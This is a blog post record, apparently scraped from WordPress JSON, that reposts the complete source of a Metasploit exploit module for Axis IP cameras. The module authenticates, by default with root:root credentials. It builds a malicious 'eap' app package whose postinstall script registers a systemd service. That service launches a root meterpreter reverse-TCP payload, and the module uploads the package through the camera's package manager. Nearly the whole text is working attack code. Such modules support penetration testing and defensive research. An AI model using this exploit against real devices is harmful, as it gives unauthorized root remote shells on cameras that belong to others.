{"id":21120,"date":"2022-02-28T20:18:23","date_gmt":"2022-02-28T17:18:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166168\/axis_app_install.rb.txt"},"modified":"2022-03-02T12:34:08","modified_gmt":"2022-03-02T09:04:08","slug":"axis-ip-camera-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/axis-ip-camera-shell-upload\/","title":{"rendered":"Axis IP Camera Shell Upload"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Axis IP Camera Application Upload&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits the &#8220;Apps&#8221; feature in Axis IP cameras. The feature allows third party<br \/>\ndevelopers to upload and execute &#8216;eap&#8217; applications on the device. The system does not validate<br \/>\nthe application comes from a trusted source, so a malicious attacker can upload and execute<br \/>\narbitrary code. The issue has no CVE, although the technique was made public in 2018.<\/p>\n<p dir=\"ltr\">This module uploads and executes stageless meterpreter as `root`. Uploading the application<br \/>\nrequires valid credentials. The default administrator credentials used to be `root:root` but<br \/>\nnewer firmware versions force users to provide a new password for the `root` user.<\/p>\n<p dir=\"ltr\">The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).<br \/>\nAlthough all modules that support the &#8220;Apps&#8221; feature are presumed to be vulnerable.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;jbaines-r7&#8217; # Discovery and Metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.tenable.com\/blog\/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness&#8217;],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.axis.com\/support\/developer-support\/axis-camera-application-platform&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2018-04-12&#8217;,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_ARMLE],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_ARMLE],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n},<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/armle\/meterpreter_reverse_tcp&#8217; # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 80,<br \/>\n&#8216;SSL&#8217; =&gt; false<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username to authenticate with&#8217;, &#8216;root&#8217;]),<br \/>\nOptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password to authenticate with&#8217;, &#8216;root&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\"># Check function will attempt to verify:<br \/>\n#<br \/>\n# 1. The provided credentials work for authentication<br \/>\n# 2. The remote target is an axis camera<br \/>\n# 3. The applications API exists.<br \/>\n#<br \/>\ndef check<br \/>\n# grab the brand\/model. Shouldn&#8217;t require authentication.<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/axis-cgi\/prod_brand_info\/getbrand.cgi&#8217;)<br \/>\n})<\/p>\n<p dir=\"ltr\">return CheckCode::Unknown unless res &amp;&amp; (res.code == 200)<\/p>\n<p dir=\"ltr\">body_json = res.get_json_document<br \/>\nreturn CheckCode::Unknown if body_json.empty? || body_json.dig(&#8216;Brand&#8217;, &#8216;ProdShortName&#8217;).nil?<\/p>\n<p dir=\"ltr\"># The brand \/ model are now known<br \/>\ncheck_comment = &#8220;The target reports itself to be a &#8216;#{body_json.dig(&#8216;Brand&#8217;, &#8216;ProdShortName&#8217;)}&#8217;.&#8221;<\/p>\n<p dir=\"ltr\"># check to see if the applications api exists (also tests credentials)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/axis-cgi\/applications\/list.cgi&#8217;)<br \/>\n})<\/p>\n<p dir=\"ltr\"># A strange edge case where there is no response&#8230; respond detected<br \/>\nreturn CheckCode::Detected unless res<br \/>\n# Respond safe if credentials fail, to prevent the exploit from running<br \/>\nreturn CheckCode::Safe(&#8216;The user provided credentials did not work.&#8217;) if res.code == 401<br \/>\n# Assume any non-200 means the API doesn&#8217;t exist<br \/>\nreturn CheckCode::Safe(check_comment) if res.code != 200<\/p>\n<p dir=\"ltr\"># This checks for an XML response which I&#8217;m not sure is smart considering most of the device<br \/>\n# does JSON replies&#8230; the concerning being that this response has changed in newer models<br \/>\nreturn CheckCode::Safe(check_comment) unless res.body.include?(&#8216;&lt;reply result=&#8221;ok&#8221;&gt;&#8217;) != 200<\/p>\n<p dir=\"ltr\">CheckCode::Appears(check_comment)<br \/>\nend<\/p>\n<p dir=\"ltr\"># Creates a malicious &#8220;eap&#8221; application. The package application will gain execution<br \/>\n# through the postinstall script. The script, which executes as a systemd oneshot, will<br \/>\n# create and execute a new service for the payload. We have to do this because the oneshot<br \/>\n# child processes will be terminated when the main binary exits. Executing the payload from<br \/>\n# a new service gets around that issue.<br \/>\n#<br \/>\n# The eap registers as a &#8220;lua&#8221; apptype, because the binary version (armv7hf) gets checked<br \/>\n# for some required libraries whereas the lua version is just accepted.<br \/>\n#<br \/>\n# The construction of the eap follows this pattern:<br \/>\n# * tar -cf exploit payload package.conf postinstall.sh payload.service<br \/>\n# * gzip exploit<br \/>\n# * mv exploit.gz exploit.eap<br \/>\ndef create_eap(payload, appname)<br \/>\nprint_status(&#8220;Creating an application package named: #{appname}&#8221;)<br \/>\nscript_name = &#8220;#{Rex::Text.rand_text_alpha_lower(3..8)}.sh&#8221;<\/p>\n<p dir=\"ltr\">package_conf = &#8220;PACKAGENAME=&#8217;#{Rex::Text.rand_text_alpha(4..14)}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPTYPE=&#8217;lua&#8217;\\n&#8221; \\<br \/>\n&#8220;APPNAME=&#8217;#{appname}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPID=&#8217;48#{Rex::Text.rand_text_numeric(3)}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPMAJORVERSION=&#8217;#{Rex::Text.rand_text_numeric(1)}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPMINORVERSION=&#8217;#{Rex::Text.rand_text_numeric(1..2)}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPMICROVERSION=&#8217;#{Rex::Text.rand_text_numeric(1..3)}&#8217;\\n&#8221; \\<br \/>\n&#8220;APPGRP=&#8217;root&#8217;\\n&#8221; \\<br \/>\n&#8220;APPUSR=&#8217;root&#8217;\\n&#8221; \\<br \/>\n&#8220;POSTINSTALLSCRIPT=&#8217;#{script_name}&#8217;\\n&#8221; \\<br \/>\n&#8220;STARTMODE=&#8217;respawn&#8217;\\n&#8221;<\/p>\n<p dir=\"ltr\"># this sync, sleep, cp, sleep pattern is not optimal, but the underlying<br \/>\n# filesystem was taking time to catch up to the exploit (and mounting and<br \/>\n# unmounting itself which is just weird) and this seemed like a reasonable,<br \/>\n# if not hacky, way to give it a chance to catch up. Seems to work well.<br \/>\nstart_service =<br \/>\n&#8220;#!\/bin\/sh\\n&#8221;\\<br \/>\n&#8220;\\nsync\\n&#8221;\\<br \/>\n&#8220;\\nsleep 2\\n&#8221;\\<br \/>\n&#8220;\\ncp .\/#{appname}.service \/etc\/systemd\/system\/\\n&#8221; \\<br \/>\n&#8220;\\nsleep 2\\n&#8221;\\<br \/>\n&#8220;\\nsystemctl start #{appname}\\n&#8221;<\/p>\n<p dir=\"ltr\"># only register the service file for deletion. Everything else will be<br \/>\n# deleted by the uninstall function called later.<br \/>\nregister_file_for_cleanup(&#8220;\/etc\/systemd\/system\/#{appname}.service&#8221;)<\/p>\n<p dir=\"ltr\">service =<br \/>\n&#8220;[Unit]\\n&#8221;\\<br \/>\n&#8220;Description=\\n&#8221;\\<br \/>\n&#8220;[Service]\\n&#8221;\\<br \/>\n&#8220;Type=simple\\n&#8221;\\<br \/>\n&#8220;User=root\\n&#8221;\\<br \/>\n&#8220;ExecStart=\/usr\/local\/packages\/#{appname}\/#{appname}\\n&#8221;\\<br \/>\n&#8220;\\n&#8221;\\<br \/>\n&#8220;[Install]\\n&#8221;\\<br \/>\n&#8220;WantedBy=multi-user.target\\n&#8221;<\/p>\n<p dir=\"ltr\">tarfile = StringIO.new<br \/>\nRex::Tar::Writer.new tarfile do |tar|<br \/>\ntar.add_file(&#8216;package.conf&#8217;, 0o644) do |io|<br \/>\nio.write package_conf<br \/>\nend<br \/>\ntar.add_file(script_name.to_s, 0o755) do |io|<br \/>\nio.write start_service<br \/>\nend<br \/>\ntar.add_file(appname.to_s, 0o755) do |io|<br \/>\nio.write payload<br \/>\nend<br \/>\ntar.add_file(&#8220;#{appname}.service&#8221;, 0o644) do |io|<br \/>\nio.write service<br \/>\nend<br \/>\nend<br \/>\ntarfile.rewind<br \/>\ntarfile.close<\/p>\n<p dir=\"ltr\">Rex::Text.gzip(tarfile.string)<br \/>\nend<\/p>\n<p dir=\"ltr\"># Upload the malicious EAP application for a root shell. Always attempt to uninstall the application<br \/>\ndef exploit<br \/>\nappname = Rex::Text.rand_text_alpha_lower(3)<br \/>\neap = create_eap(payload.encoded, appname)<\/p>\n<p dir=\"ltr\"># Instruct the application to install the constructed EAP<br \/>\nmultipart_form = Rex::MIME::Message.new<br \/>\nmultipart_form.add_part(&#8216;{&#8220;apiVersion&#8221;:&#8221;1.0&#8243;,&#8221;method&#8221;:&#8221;install&#8221;}&#8217;, &#8216;application\/json&#8217;, nil, &#8216;form-data; name=&#8221;data&#8221;; filename=&#8221;blob&#8221;&#8216;)<br \/>\nmultipart_form.add_part(eap, &#8216;application\/octet-stream&#8217;, &#8216;binary&#8217;, &#8220;form-data; name=\\&#8221;fileData\\&#8221;; filename=\\&#8221;#{appname}.eap\\&#8221;&#8221;)<\/p>\n<p dir=\"ltr\">install_endpoint = normalize_uri(target_uri.path, &#8216;\/axis-cgi\/packagemanager.cgi&#8217;)<br \/>\nprint_status(&#8220;Sending an application upload request to #{install_endpoint}&#8221;)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;uri&#8217; =&gt; install_endpoint,<br \/>\n&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{multipart_form.bound}&#8221;,<br \/>\n&#8216;data&#8217; =&gt; multipart_form.to_s<br \/>\n})<\/p>\n<p dir=\"ltr\"># check for successful installation<br \/>\nfail_with(Failure::Disconnected, &#8216;Connection failed&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8220;HTTP status code is not 200 OK: #{res.code}&#8221;) unless res.code == 200<br \/>\nbody_json = res.get_json_document<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Missing JSON response&#8217;) if body_json.empty?<br \/>\n# {&#8220;apiVersion&#8221;=&gt;&#8221;1.4&#8221;, &#8220;method&#8221;=&gt;&#8221;install&#8221;, &#8220;error&#8221;=&gt;{&#8220;code&#8221;=&gt;60, &#8220;message&#8221;=&gt;&#8221;Failed to install acap&#8221;}}<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;The target responded with a JSON error&#8217;) unless body_json[&#8216;error&#8217;].nil?<\/p>\n<p dir=\"ltr\"># syncing the unstaged meterpreter payload seems to take a little bit for the poor little<br \/>\n# embedded filesystem. Give it a chance to sync up before we try to remove the application.<br \/>\nprint_good(&#8216;Application installed. Pausing 5 seconds to let the filesystem sync.&#8217;)<br \/>\nsleep(5)<br \/>\nensure<br \/>\nuninstall_endpoint = normalize_uri(target_uri.path, &#8216;\/axis-cgi\/applications\/control.cgi&#8217;)<br \/>\nprint_status(&#8220;Sending a delete application request to #{uninstall_endpoint}&#8221;)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;uri&#8217; =&gt; uninstall_endpoint,<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;action&#8217; =&gt; &#8216;remove&#8217;,<br \/>\n&#8216;package&#8217; =&gt; appname.to_s<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\"># instructions for manually removal if the above fails. That should never happen, but best be safe.<br \/>\nremoval_instructions = &#8216;To manually remove the application, log in to the system and then select the apps tab. &#8216; \\<br \/>\n&#8220;Find the app named &#8216;#{appname}&#8217; and select it. Click the trash bin icon to uninstall it.&#8221;<\/p>\n<p dir=\"ltr\"># check for successful removal<br \/>\nprint_bad(&#8220;The server did not respond to the application deletion request. #{removal_instructions}&#8221;) unless res<br \/>\nprint_bad(&#8220;The server did not respond with 200 OK to the application deletion request. #{removal_instructions}&#8221;) unless res.code == 200<br \/>\nprint_bad(&#8220;The application deletion response did not contain the expected body. #{removal_instructions}&#8221;) unless res.body.include?(&#8216;OK&#8217;)<br \/>\nprint_good(&#8220;The application #{appname} was successfully removed from the target!&#8221;)<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Axis IP Camera Application Upload&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits the &#8220;Apps&#8221; feature in Axis IP cameras. The &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21120","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21120"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21120\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}